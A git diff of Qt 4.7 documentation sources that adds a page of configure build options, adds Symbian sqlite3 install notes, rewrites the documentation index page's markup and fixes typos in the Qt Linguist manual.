- \table 90%
- \header \o Name \o Library \o Notes \o Configuration options \o Minimum working version
\raw HTML
+ <table class="generic">
+ <thead><tr class="qt-style topAlign"><th>Name</th><th>Library</th><th>Notes</th><th>Configuration options</th><th>Minimum working version
<tr id="OptionalColor">
<td> XRender </td><td> libXrender </td><td> X Rendering Extension; used for anti-aliasing</td>
<td><tt>-xrender</tt> or auto-detected</td><td>0.9.0</td>
@@ -1077,9 +1078,9 @@ We hope you will enjoy using Qt.
</tr><tr id="PthreadColor">
<td> pthread </td><td> libpthread </td><td> Multithreading</td>
<td></td><td>2.3.5</td>
- </tr>
+ </tr></th></tr></thead>
+ </table>
\endraw
- \endtable
\note You must compile with XRender support to get alpha transparency
support for pixmaps and images.
@@ -1167,8 +1168,9 @@ We hope you will enjoy using Qt.
{Windows Mobile 6 Professional/Standard}
\endlist
+ \bold{Note:}
\table
- \row \bold{Note:}
+ \row
\o
\list 1
\o Currently, there is only compile support for Windows CE 5.0
@@ -1273,10 +1275,18 @@ We hope you will enjoy using Qt.
in this release.
\endlist
- Running Qt on real device requires the Open C to be installed on the device.
- The Open C installation packages are embedded into \c{qt_installer.sis}, which is included in
- Qt for Symbian binary package. If you are building Qt from scratch, you can find the
- required packages in the Symbian SDK where you installed Open C/C++:
+ Running Qt on real device requires the Open C and sqlite3 to be installed on the device.
+ These installation packages are embedded into \c{qt_installer.sis}, which is included in
+ Qt for Symbian binary package.
+
+ If you are building Qt from scratch, you can find the sqlite3 package from
+ under your Qt installation:
+
+ \list
+ \o \c{src\s60installs\sqlite3.sis}
+ \endlist
+
+ The Open C packages you can find in the Symbian SDK where you installed Open C/C++:
\list
\o \c{nokia_plugin\openc\s60opencsis\pips_s60_<version>.sis}
\o \c{nokia_plugin\openc\s60opencsis\openc_ssl_s60_<version>.sis}
@@ -1297,3 +1307,290 @@ We hope you will enjoy using Qt.
\sa {Known Issues}
*/
+
+/*!
+ \page configure-options.html
+ \title Configure options for Qt
+ \ingroup installation
+ \brief Brief description of available options building Qt.
+
+ This page gives a brief description of the different options
+ available when building Qt using configure. To build Qt using
+ default options, just call configure from the command line like
+ showed below. If you would like to customize your build, please
+ use the options listed in the following tables.
+
+ \c {.\configure.exe}
+
+ \section2 Cross platform options:
+
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-buildkey } <key> \o Build the Qt library and plugins
+ using the specified \o
+ \row \o \c {<key>} \o When the library loads plugins, it will only
+ load those that have a matching <key>. \o
+ \row \o \c {-release } \o Compile and link Qt with debugging turned off. \o
+ \row \o \c {-debug } \o Compile and link Qt with debugging turned on.
+ \o Defualt value.
+ \row \o \c {-debug-and-release} \o Compile and link two Qt libraries,
+ with and without debugging turned on. \o This option denotes a default
+ value and needs to be evaluated. If the evaluation succeeds, the
+ feature is included.
+ \row \o \c {-opensource} \o Compile and link the Open-Source Edition
+ of Qt. \o
+ \row \o \c {-commercial } \o Compile and link the Commercial Edition
+ of Qt. \o
+ \row \o \c {-developer-build} \o Compile and link Qt with Qt developer
+ options including auto-tests exporting) \o
+ \row \o \c {-shared} \o Create and use shared Qt libraries. \o Defualt
+ value.
+ \row \o \c {-static} \o Create and use static Qt libraries. \o
+ \row \o \c {-ltcg} \o Use Link Time Code Generation. \o Apply to release
+ builds only.
+ \row \o \c {-no-ltcg} \o Do not use Link Time Code Generation. \o Defualt
+ value.
+ \row \o \c {-no-fast} \o Configure Qt normally by generating Makefiles for
+ all project files. \o Defualt value.
+ \row \o \c {-fast} \o Configure Qt quickly by generating Makefiles only for
+ library and subdirectory targets. \o All other Makefiles are created as
+ wrappers which will in turn run qmake.
+ \row \o \c {-no-exceptions} \o Disable exceptions on platforms that support
+ it. \o
+ \row \o \c {-exceptions} \o Enable exceptions on platforms that support it.
+ \o Defualt value.
+ \row \o \c {-no-accessibility} \o Do not compile Windows Active
+ Accessibility support. \o
+ \row \o \c {-accessibility} \o Compile Windows Active Accessibility
+ support. \o Defualt value.
+ \row \o \c {-no-stl} \o Do not compile STL support. \o
+ \row \o \c {-stl} \o Compile STL support. \o Defualt value.
+ \row \o \c {-no-sql-<driver>} \o Disable SQL <driver> entirely, by default
+ none are turned on. \o
+ \row \o \c {-qt-sql-<driver>} \o Enable a SQL <driver> in the Qt Library.
+ \o
+ \row \o \c {-plugin-sql-<driver>} \o Enable SQL <driver> as a plugin to be
+ linked to at run time. \o Available values for <driver>: mysql, psql,
+ oci, odbc, tds, db2, sqlite, sqlite2, ibase. Drivers marked with a
+ '+' during configure have been detected as available on this system.
+ \row \o \c {-system-sqlite} \o Use sqlite from the operating system. \o
+ \row \o \c {-no-qt3support} \o Disables the Qt 3 support functionality. \o
+ \row \o \c {-no-opengl} \o Disables OpenGL functionality \o
+ \row \o \c {-opengl <api>} \o Enable OpenGL support with specified API
+ version. \o Available values for <api>: desktop - Enable support for
+ Desktop OpenGL (Default), es1 - Enable support for OpenGL ES Common
+ Profile, es2 - Enable support for OpenGL ES 2.0.
+ \row \o \c {-no-openvg} \o Disables OpenVG functionality \o Defualt value.
+ \row \o \c {-openvg} \o Enables OpenVG functionality \o Requires EGL
+ support, typically supplied by an OpenGL or other graphics
+ implementation.
+ \row \o \c {-platform <spec> } \o The operating system and compiler you
+ are building on. \o The default value is %QMAKESPEC%.
+ \row \o \c {-xplatform <spec> } \o The operating system and compiler you
+ are cross compiling to. \o See the README file for a list of supported
+ operating systems and compilers.
+ \row \o \c {-qtnamespace <namespace>} \o Wraps all Qt library code in
+ 'namespace name {..} \o
+ \row \o \c {-qtlibinfix <infix>} \o Renames all Qt* libs to Qt*<infix>
+ \o
+ \row \o \c {-D <define>} \o Add an explicit define to the preprocessor.
+ \o
+ \row \o \c {-I <includepath>} \o Add an explicit include path. \o
+ \row \o \c {-L <librarypath>} \o Add an explicit library path. \o
+ \row \o \c {-l <libraryname>} \o Add an explicit library name, residing
+ in a librarypath. \o
+ \row \o \c {-graphicssystem <sys>} \o Specify which graphicssystem should
+ be used. \o Available values for <sys>: * raster - Software rasterizer,
+ opengl - Using OpenGL acceleration, experimental!, openvg - Using
+ OpenVG acceleration, experimental!
+ \row \o \c {-help, -h, -?} \o Display this information. \o
+ \endtable
+
+ \section2 Third Party Libraries:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-qt-zlib} \o Use the zlib bundled with Qt. \o
+ \row \o \c {-system-zlib} \o Use zlib from the operating system.
+ \o See http://www.gzip.org/zlib
+ \row \o \c {-no-gif} \o Do not compile GIF reading support.
+ \o This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-qt-gif} \o Compile GIF reading support. \o See also
+ src/gui/image/qgifhandler_p.h
+ \row \o \c {-no-libpng} \o Do not compile PNG support. \o
+ \row \o \c {-qt-libpng} \o Use the libpng bundled with Qt.
+ \o This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-system-libpng} \o Use libpng from the operating system.
+ \o See http://www.libpng.org/pub/png
+ \row \o \c {-no-libmng} \o Do not compile MNG support. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-qt-libmng} \o Use the libmng bundled with Qt. \o
+ \row \o \c {-system-libmng} \o Use libmng from the operating system.
+ \o See See http://www.libmng.com
+ \row \o \c {-no-libtiff} \o Do not compile TIFF support. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-qt-libtiff} \o Use the libtiff bundled with Qt. \o
+ \row \o \c {-system-libtiff} \o Use libtiff from the operating system.
+ \o See http://www.libtiff.org
+ \row \o \c {-no-libjpeg} \o Do not compile JPEG support. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-qt-libjpeg} \o Use the libjpeg bundled with Qt. \o
+ \row \o \c {-system-libjpeg} \o Use libjpeg from the operating system.
+ \o See http://www.ijg.org. This option denotes a default value and
+ needs to be evaluated. If the evaluation succeeds, the feature is
+ included.
+ \endtable
+
+ \section2 Qt for Windows only:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-no-dsp} \o Do not generate VC++ .dsp files. \o
+ \row \o \c {-dsp} \o Generate VC++ .dsp files, only if spec "win32-msvc".
+ \o Defualt value.
+ \row \o \c {-no-vcproj} \o Do not generate VC++ .vcproj files. \o
+ \row \o \c {-vcproj} \o Generate VC++ .vcproj files, only if platform
+ "win32-msvc.net". \o Defualt value.
+ \row \o \c {-no-incredibuild-xge} \o Do not add IncrediBuild XGE distribution
+ commands to custom build steps. \o
+ \row \o \c {-incredibuild-xge} \o Add IncrediBuild XGE distribution commands
+ to custom build steps. This will distribute MOC and UIC steps, and other
+ custom buildsteps which are added to the INCREDIBUILD_XGE variable.
+ \o The IncrediBuild distribution commands are only added to Visual Studio
+ projects. This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-plugin-manifests} \o Do not embed manifests in plugins. \o
+ \row \o \c {-plugin-manifests} \o Embed manifests in plugins.
+ \o Defualt value.
+ \row \o \c {-no-qmake} \o Do not compile qmake. \o
+ \row \o \c {-qmake} \o Compile qmake. \o Defualt value
+ \row \o \c {-dont-process} \o Do not generate Makefiles/Project files. This
+ will override -no-fast if specified. \o
+ \row \o \c {-process} \o Generate Makefiles/Project files. \o Defualt value.
+ \row \o \c {-no-rtti} \o Do not compile runtime type information. \o
+ \row \o \c {-rtti} \o Compile runtime type information. \o Defualt value.
+ \row \o \c {-no-mmx} \o Do not compile with use of MMX instructions \o
+ \row \o \c {-mmx} \o Compile with use of MMX instructions \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-3dnow} \o Do not compile with use of 3DNOW instructions \o
+ \row \o \c {-3dnow} \o Compile with use of 3DNOW instructions \o This
+ option denotes a default value and needs to be evaluated. If the
+ evaluation succeeds, the feature is included.
+ \row \o \c {-no-sse} \o Do not compile with use of SSE instructions \o
+ \row \o \c {-sse} \o Compile with use of SSE instructions \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-sse2} \o Do not compile with use of SSE2 instructions \o
+ \row \o \c {-sse2} \o Compile with use of SSE2 instructions \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-openssl} \o Do not compile in OpenSSL support \o
+ \row \o \c {-openssl} \o Compile in run-time OpenSSL support \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-openssl-linked} \o Compile in linked OpenSSL support \o
+ \row \o \c {-no-dbus} \o Do not compile in D-Bus support \o
+ \row \o \c {-dbus} \o Compile in D-Bus support and load libdbus-1 dynamically.
+ \o This option denotes a default value and needs to be evaluated.
+ If the evaluation succeeds, the feature is included.
+ \row \o \c {-dbus-linked} \o Compile in D-Bus support and link to
+ libdbus-1 \o
+ \row \o \c {-no-phonon} \o Do not compile in the Phonon module \o
+ \row \o \c {-phonon} \o Compile the Phonon module. \o Phonon is built if a
+ decent C++ compiler is used. This option denotes a default value and needs
+ to be evaluated. If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-phonon-backend} \o Do not compile the platform-specific
+ Phonon backend-plugin \o
+ \row \o \c {-phonon-backend} \o Compile in the platform-specific Phonon
+ backend-plugin \o Defualt value.
+ \row \o \c {-no-multimedia} \o Do not compile the multimedia module \o
+ \row \o \c {-multimedia} \o Compile in multimedia module \o Defualt value.
+ \row \o \c {-no-audio-backend} \o Do not compile in the platform audio
+ backend into QtMultimedia \o
+ \row \o \c {-audio-backend} \o Compile in the platform audio backend into
+ QtMultimedia \o This option denotes a default value and needs to be
+ evaluated. If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-webkit} \o Do not compile in the WebKit module \o
+ \row \o \c {-webkit} \o Compile in the WebKit module \o WebKit is built
+ if a decent C++ compiler is used. This option denotes a default value
+ and needs to be evaluated. If the evaluation succeeds, the feature is
+ included.
+ \row \o \c {-webkit-debug} \o Compile in the WebKit module with debug
+ symbols. \o
+ \row \o \c {-no-script} \o Do not build the QtScript module. \o
+ \row \o \c {-script} \o Build the QtScript module. \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-scripttools} \o Do not build the QtScriptTools module. \o
+ \row \o \c {-scripttools} \o Build the QtScriptTools module. \o This
+ option denotes a default value and needs to be evaluated. If the
+ evaluation succeeds, the feature is included.
+ \row \o \c {-no-declarative} \o Do not build the declarative module \o
+ \row \o \c {-declarative} \o Build the declarative module \o This option
+ denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-no-declarative-debug} \o Do not build the declarative debugging
+ support \o
+ \row \o \c {-declarative-debug} \o Build the declarative debugging support
+ \o Defualt value.
+ \row \o \c {-arch <arch>} \o Specify an architecture. \o Available values for
+ <arch>: * windows, windowsce, symbian, boundschecker, generic.
+ \row \o \c {-no-style-<style>} \o Disable <style> entirely. \o
+ \row \o \c {-qt-style-<style>} \o Enable <style> in the Qt Library.
+ \o Available styles: * windows, + windowsxp, + windowsvista,
+ * plastique, * cleanlooks, * motif, * cde, windowsce, windowsmobile,
+ s60
+ \row \o \c {-no-native-gestures} \o Do not use native gestures on Windows 7.
+ \o
+ \row \o \c {-native-gestures} \o Use native gestures on Windows 7.
+ \o Defualt value.
+ \row \o \c {-no-mp} \o Do not use multiple processors for compiling with MSVC
+ \o Defualt value.
+ \row \o \c {-mp} \o Use multiple processors for compiling with MSVC (-MP) \o
+ \row \o \c {-loadconfig <config>} \o Run configure with the parameters from file
+ configure_<config>.cache. \o
+ \row \o \c {-saveconfig <config>} \o Run configure and save the parameters in
+ file configure_<config>.cache. \o
+ \row \o \c {-redo} \o Run configure with the same parameters as last time. \o
+\endtable
+
+\section2 Qt for Windows CE only:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-no-iwmmxt} \o Do not compile with use of IWMMXT instructions \o
+ \row \o \c {-iwmmxt} \o Do compile with use of IWMMXT instructions. \o This is
+ for Qt for Windows CE on Arm only. This option denotes a default value and
+ needs to be evaluated. If the evaluation succeeds, the feature is included.
+ \row \o \c {-no-crt} \o Do not add the C runtime to default deployment rules.
+ \o Defualt value.
+ \row \o \c {-qt-crt} \o Qt identifies C runtime during project generation \o
+ \row \o \c {-crt <path>} \o Specify path to C runtime used for project
+ generation. \o
+ \row \o \c {-no-cetest} \o Do not compile Windows CE remote test application \o
+ \row \o \c {-cetest} \o Compile Windows CE remote test application \o This
+ option denotes a default value and needs to be evaluated. If the evaluation
+ succeeds, the feature is included.
+ \row \o \c {-signature <file>} \o Use file for signing the target project \o
+ \row \o \c {-phonon-wince-ds9} \o Enable Phonon Direct Show 9 backend for
+ Windows CE \o Defualt value
+ \endtable
+
+ \section2 Qt for Symbian OS only:
+ \table
+ \header \o Option \o Description \o Note
+ \row \o \c {-no-freetype} \o Do not compile in Freetype2 support.
+ \o Defualt value.
+ \row \o \c {-qt-freetype} \o Use the libfreetype bundled with Qt. \o
+ \row \o \c {-fpu <flags>} \o VFP type on ARM, supported options:
+ softvfp(default) |vfpv2 | softvfp+vfpv2 \o
+ \row \o \c {-no-s60} \o Do not compile in S60 support. \o
+ \row \o \c {-s60} \o Compile with support for the S60 UI Framework
+ \o Defualt value.
+ \row \o \c {-no-usedeffiles} \o Disable the usage of DEF files. \o
+ \row \o \c {-usedeffiles} \o Enable the usage of DEF files. \o
+ \endtable
+*/
diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc
index 7cc3346..0dc5d5e 100644
--- a/doc/src/howtos/HWacceleration.qdoc
+++ b/doc/src/howtos/HWacceleration.qdoc
@@ -27,7 +27,7 @@
/*!
\page HWAcc_rendering.html
- \title Hardware Acceleration &amp Embedded Platforms.
+ \title Hardware Acceleration and Embedded Platforms.
\brief How to use hardware acceleration for fast rendering.
\ingroup best-practices
@@ -45,11 +45,11 @@
\input platforms/emb-hardwareacceleration.qdocinc
\section1 Supported platforms
- Since there might be differences to how the APIs are being used on
- the different embedded platforms, this table provides you with links to
- pages dedicated to platform specific documentation for each
- supported hardware acceleration API. Click the API link for the
- platform to go the correct documentation.
+ Since there might be differences to how the APIs are being used on
+ the different embedded platforms, this table provides you with links to
+ pages dedicated to platform specific documentation for each
+ supported hardware acceleration API. Click the API link for the
+ platform to go the correct documentation.
\table
\header
diff --git a/doc/src/howtos/restoring-geometry.qdoc b/doc/src/howtos/restoring-geometry.qdoc
index 005a29e..b3d6355 100644
--- a/doc/src/howtos/restoring-geometry.qdoc
+++ b/doc/src/howtos/restoring-geometry.qdoc
@@ -28,7 +28,7 @@
/*!
\page restoring-geometry.html
\title Restoring a Window's Geometry
- \brief How to save &amp restore window geometry.
+ \brief How to save &amp; restore window geometry.
\ingroup best-practices
This document describes how to save and restore a \l{Window
diff --git a/doc/src/howtos/sharedlibrary.qdoc b/doc/src/howtos/sharedlibrary.qdoc
index 5b47618..3e611b9 100644
--- a/doc/src/howtos/sharedlibrary.qdoc
+++ b/doc/src/howtos/sharedlibrary.qdoc
@@ -59,7 +59,7 @@
\endlist
Now, we need to ensure that the right macro is invoked -- whether we
- compile a share library itself, or just the client using the shared
+ compile a shared library itself, or just the client using the shared
library.
Typically, this can be solved by adding a special header.
diff --git a/doc/src/images/audiodevices-example.png b/doc/src/images/audiodevices-example.png
new file mode 100755
index 0000000..ae857df
--- /dev/null
+++ b/doc/src/images/audiodevices-example.png
Binary files differ
diff --git a/doc/src/images/audioinput-example.png b/doc/src/images/audioinput-example.png
new file mode 100644
index 0000000..fb703e6
--- /dev/null
+++ b/doc/src/images/audioinput-example.png
Binary files differ
diff --git a/doc/src/images/audiooutput-example.png b/doc/src/images/audiooutput-example.png
new file mode 100755
index 0000000..5588fbb
--- /dev/null
+++ b/doc/src/images/audiooutput-example.png
Binary files differ
diff --git a/doc/src/images/combo-widget-mapper.png b/doc/src/images/combowidgetmapper-example.png
index 910d6ed..910d6ed 100644
--- a/doc/src/images/combo-widget-mapper.png
+++ b/doc/src/images/combowidgetmapper-example.png
Binary files differ
diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
new file mode 100644
index 0000000..f2eacd8
--- /dev/null
+++ b/doc/src/images/declarative-colors.png
Binary files differ
diff --git a/doc/src/images/combobox.png b/doc/src/images/modelview-combobox.png
index d172b41..d172b41 100755
--- a/doc/src/images/combobox.png
+++ b/doc/src/images/modelview-combobox.png
Binary files differ
diff --git a/doc/src/images/header.png b/doc/src/images/modelview-header.png
index 2597635..2597635 100755
--- a/doc/src/images/header.png
+++ b/doc/src/images/modelview-header.png
Binary files differ
diff --git a/doc/src/images/mediaplayer-demo.png b/doc/src/images/qmediaplayer-demo.png
index 2c1f9b4..2c1f9b4 100644
--- a/doc/src/images/mediaplayer-demo.png
+++ b/doc/src/images/qmediaplayer-demo.png
Binary files differ
diff --git a/doc/src/images/qml-positioners-layoutdirection-example.png b/doc/src/images/qml-positioners-layoutdirection-example.png
new file mode 100644
index 0000000..2c42b09
--- /dev/null
+++ b/doc/src/images/qml-positioners-layoutdirection-example.png
Binary files differ
diff --git a/doc/src/images/roaming-states.png b/doc/src/images/roaming-states.png
new file mode 100644
index 0000000..bc61cac
--- /dev/null
+++ b/doc/src/images/roaming-states.png
Binary files differ
diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc
index 3bef2ad..be59c2f 100644
--- a/doc/src/index.qdoc
+++ b/doc/src/index.qdoc
@@ -29,83 +29,91 @@
\page index.html
\keyword Qt Reference Documentation
- \raw HTML
- <div class="indexbox guide" >
- <div class="heading">
- Qt Developer Guide</div>
- <div class="indexboxcont indexboxbar">
- <div class="section indexIcon"><span></span></div>
- <div class="section">
- <p>Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.</p>
- </div>
- <div class="section sectionlist">
- <ul>
- <li><a href="gettingstarted.html">Getting started</a></li>
- <li><a href="installation.html">Installation</a></li>
- <li><a href="how-to-learn-qt.html">How to learn Qt</a></li>
- <li><a href="tutorials.html">Tutorials</a></li>
- <li><a href="all-examples.html">Examples</a></li>
- <li><a href="qt4-7-intro.html">What's new in Qt 4.7</a></li>
- </ul>
- </div>
- </div>
- </div>
- <div class="indexbox api">
- <div class="heading">
- Qt API</div>
- <div class="indexboxcont indexboxbar ">
- <div class="sectionlist tricol">
- <ul>
- <li><a href="classes.html">All Classes</a></li>
- <li><a href="functions.html">All Functions</a></li>
- <li><a href="modules.html">All Modules</a></li>
- <li><a href="namespaces.html">All Namespaces</a></li>
- <li><a href="qtglobal.html">Global Declarations</a></li>
- <li><a href="licensing.html">Licenses and Credits</a></li>
- </ul>
- </div>
- <div class="sectionlist tricol">
- <ul>
- <li><a href="qt-basic-concepts.html">Programming with Qt</a></li>
- <li><a href="qt-gui-concepts.html">UI Design with Qt</a></li>
- <li><a href="developing-with-qt.html">Cross-platform and Platform-specific</a></li>
- <li><a href="technology-apis.html">Qt and Key Technologies</a></li>
- <li><a href="best-practices.html">Best Practices Guides</a></li>
- </ul>
- </div>
- <div class="sectionlist">
- <ul>
- <li><a href="qtquick.html">Qt Quick</a></li>
- <li><a href="qdeclarativeintroduction.html">Introduction to QML</a></li>
- <li><a href="qdeclarativeelements.html">QML Elements</a></li>
- <li><a href="qdeclarativeexamples.html">QML Examples and Demos</a></li>
- </ul>
- </div>
- </div>
- </div>
- <div class="indexbox tools">
- <div class="heading">
- Qt Tools</div>
- <div class="indexboxcont">
- <div class="section indexIcon"><span></span></div>
- <div class="section">
- <p>Qt offers a selection of development tools for different tasks. Use Qt Creator for
- project and code management as well as building powerfull UIs.</p>
- </div>
- <div class="section sectionlist">
- <ul>
- <li><a href="http://doc.qt.nokia.com/qtcreator-2.0/index.html">Qt Creator</a></li>
- <li><a href="designer-manual.html">Qt Designer</a></li>
- <li><a href="linguist-manual.html">Qt Linguist</a></li>
- <li><a href="assistant-manual.html">Qt Assistant</a></li>
- <li><a href="qmake-manual.html">Qt qmake</a></li>
- <li><a href="http://doc.qt.nokia.com/qtsimulator-1.0/index.html">Qt Simulator</a></li>
- <li><a href="http://qt.nokia.com/developer/eclipse-integration">Eclipse Integration</a></li>
- <li><a href="http://qt.nokia.com/products/appdev">Add-On Products and Services</a></li>
- <li><a href="qvfb.html">Virtual Framebuffer</a></li>
- </ul>
- </div>
- </div>
- </div>
- \endraw
+ \div {indexbox guide}
+ \div {heading}
+ Qt Developer Guide
+ \enddiv
+ \div {indexboxcont indexboxbar}
+ \div {section indexIcon} \emptyspan
+ \enddiv
+ \div {section}
+ Qt is a cross-platform application and UI
+ framework. Using Qt, you can write web-enabled
+ applications once and deploy them across desktop,
+ mobile and embedded operating systems without
+ rewriting the source code.
+ \enddiv
+ \div {section sectionlist}
+ \list
+ \o \l{Getting Started Guides}{Getting started}
+ \o \l{Installation}{Installation}
+ \o \l{how-to-learn-qt.html}{How to learn Qt}
+ \o \l{tutorials.html}{Tutorials}
+ \o \l{Qt Examples}{Examples}
+ \o \l{qt4-7-intro.html}{What's new in Qt 4.7}
+ \endlist
+ \enddiv
+ \enddiv
+ \enddiv
+ \div {indexbox api}
+ \div {heading}
+ Qt API
+ \enddiv
+ \div {indexboxcont indexboxbar }
+ \div {sectionlist tricol}
+ \list
+ \o \l{All Classes}{All Classes}
+ \o \l{All Functions}{All Functions}
+ \o \l{All Modules}{All Modules}
+ \o \l{All Namespaces}{All Namespaces}
+ \o \l{Global Qt Declarations}{Global Declarations}
+ \o \l{Qt Licenses and Credits}{Licenses and Credits}
+ \endlist
+ \enddiv
+ \div {sectionlist tricol}
+ \list
+ \o \l{Programming with Qt}
+ \o \l{UI Design with Qt}
+ \o \l{Cross-Platform and Platform-Specific Development}
+ \o \l{Qt and Key Technologies}
+ \o \l{Best Practice Guides}
+ \endlist
+ \enddiv
+ \div {sectionlist}
+ \list
+ \o \l{qtquick.html}{Qt Quick}
+ \o \l{qdeclarativeintroduction.html}{Introduction to QML}
+ \o \l{qdeclarativeelements.html}{QML Elements}
+ \o \l{qdeclarativeexamples.html}{QML Examples and Demos}
+ \endlist
+ \enddiv
+ \enddiv
+ \enddiv
+ \div {indexbox tools}
+ \div {heading}
+ Qt Tools
+ \enddiv
+ \div {indexboxcont}
+ \div {section indexIcon} \emptyspan
+ \enddiv
+ \div {section}
+ Qt offers a selection of development tools for
+ different tasks. Use Qt Creator for project and code
+ management as well as building powerfull UIs.
+ \enddiv
+ \div {section sectionlist}
+ \list
+ \o \l{http://doc.qt.nokia.com/qtcreator-2.0/index.html}{Qt Creator}
+ \o \l{designer-manual.html}{Qt Designer}
+ \o \l{linguist-manual.html}{Qt Linguist}
+ \o \l{assistant-manual.html}{Qt Assistant}
+ \o \l{qmake-manual.html}{Qt qmake}
+ \o \l{http://doc.qt.nokia.com/qtsimulator-1.0/index.html}{Qt Simulator}
+ \o \l{http://qt.nokia.com/developer/eclipse-integration}{Eclipse Integration}
+ \o \l{http://qt.nokia.com/products/appdev}{Add-On Products and Services}
+ \o \l{qvfb.html}{Virtual Framebuffer}
+ \endlist
+ \enddiv
+ \enddiv
+ \enddiv
*/
diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc
index 0caea77..1f413f9 100644
--- a/doc/src/internationalization/linguist-manual.qdoc
+++ b/doc/src/internationalization/linguist-manual.qdoc
@@ -95,7 +95,7 @@
\o A single phrase may need to be translated into several
different forms depending on context, e.g. \e open in English
- might become \e{\ouml\c{}ffnen}, "open file", or \e aufbauen,
+ might become \e{\ouml}\e{ffnen}, "open file", or \e aufbauen,
"open internet connection", in German.
\o Keyboard accelerators may need to be changed but without
@@ -159,7 +159,7 @@
\section1 Qt Project Files
The easiest method to use \l{#lupdate} {lupdate} and \l{#lrelease}
- {lrelease} is by specifing a \c .pro Qt project file. There must
+ {lrelease} is by specifying a \c .pro Qt project file. There must
be an entry in the \c TRANSLATIONS section of the project file for
each language that is additional to the native language. A typical
entry looks like this:
@@ -342,8 +342,8 @@
the bottom of the main window. The phrases and guesses window
shows possible translations for the current string. These
translation "guesses" have been read from phrase books
- (\menu{Phrases|Open Phrase Book...}). The current string's
- current translation is also shown here. To select a guess, double
+ (\menu{Phrases|Open Phrase Book...}). The current strings
+ translation is also shown here. To select a guess, double
click it in the phrases and guesses window or use the keyboard
shortcut shown to the right of the guess.
@@ -371,7 +371,7 @@
subwindows are: \l{Context Window} {Context}, \l{Sources and Forms
Window} {Sources and Forms}, \l{Strings Window} {Strings},
\l{Phrases and Guesses Window} {Phrases and guesses}, and
- \l{Warnings Window} {Warnings} (hidden in the UI snapsot). The
+ \l{Warnings Window} {Warnings} (hidden in the UI snapshot). The
translation area is always visible, but the dockable subwindows
can be activated or deactivated in the \menu{View|Views} menu, and
dragged around by their title bars and dropped in the translation
@@ -513,7 +513,7 @@
\o No Translation
\o \inlineimage linguist-check-empty.png
\o The string does not have a translation. Click the icon to
- accpet the empty translation anyway. The state is reset to
+ accept the empty translation anyway. The state is reset to
\inlineimage linguist-check-on.png
, and the number of accepted translations in the \e{Items} column
of the \l{Context Window} {context list} is incremented by 1.
@@ -567,7 +567,7 @@
When \l{Translating Multiple Languages Simultaneously} {multiple
languages} are being translated, this sequence of fields is
- repeated for each language. See aso \l {Changing the Target
+ repeated for each language. See also \l {Changing the Target
Locale}.
\section2 Phrases and Guesses Window
@@ -585,7 +585,7 @@
translation area, or you can use the translation's \e{Guess}
hotkey on the right. You can also press \key{F10} to move the
focus to the Phrases and Guesses Window, then use the up and down
- arrow keys to find the desired translation, and and then press
+ arrow keys to find the desired translation, and then press
\key{Enter} to copy it to the translation area. If you decide
that you don't want to copy a phrase after all, press \key{Esc} to
return the focus to the translation area.
@@ -649,7 +649,7 @@
{translation area} has text editing areas for both Polish and
Japanese, and these are color-coded for easier separation.
Second, the \l{Context Window} and the \l{Strings Window} both
- have two clomuns labeled \inlineimage linguist-check-obsolete.png
+ have two columns labeled \inlineimage linguist-check-obsolete.png
instead of one, and although it may be hard to tell, these columns
are also color-coded with the same colors. The left-most column in
either case applies to the top-most language area (Polish above)
@@ -793,7 +793,7 @@
might reverse the phrases, e.g. \c{Datei %2 wird bearbeitet, wenn
Datei %1 fertig ist}. Both numbered arguments appear in the
translation, but in the reverse order. \c{%i} will always be
- replaced by the same text in the translation stringss, regardless
+ replaced by the same text in the translation strings, regardless
of where argument \e{i} appears in the argument sequence in the
source string.
@@ -843,7 +843,7 @@
are used to provide a common set of translations to help ensure consistency.
They can also be used to avoid duplication of effort since the translations
for a family of applications can be produced once in the phrase book.
- If the translator reaches an untranslated phrase that is the same as a
+ If the translator reaches an non-translated phrase that is the same as a
source phrase in a phrase book, \QL will show the
phrase book entry in the \l {Phrases and Guesses Window}.
@@ -935,7 +935,7 @@
List on the left hand. If the path to the files has changed, you can load
the files manually via \menu{File|Open Form...}. Double-click on an entry
in the Forms List to display the Form File. Select \e{<No Translation>} from
- the toolbar to display the untranslated form.
+ the toolbar to display the non-translated form.
\section1 Qt Linguist Reference
@@ -1027,7 +1027,7 @@
\o \gui {Translation}
\list
\o \gui {Prev Unfinished Ctrl+K} \BR moves to the nearest previous
- unfinished source phrase (unfinished means untranslated or
+ unfinished source phrase (unfinished means non-translated or
translated but failed validation).
\o \gui {Next Unfinished Ctrl+L} \BR moves to the next unfinished source
phrase.
@@ -1406,7 +1406,7 @@
If a French translation is loaded, this will expand to "0 item
remplac\unicode{233}", "1 item remplac\unicode{233}", "2 items
remplac\unicode{233}s", etc., depending on \c{n}'s value.
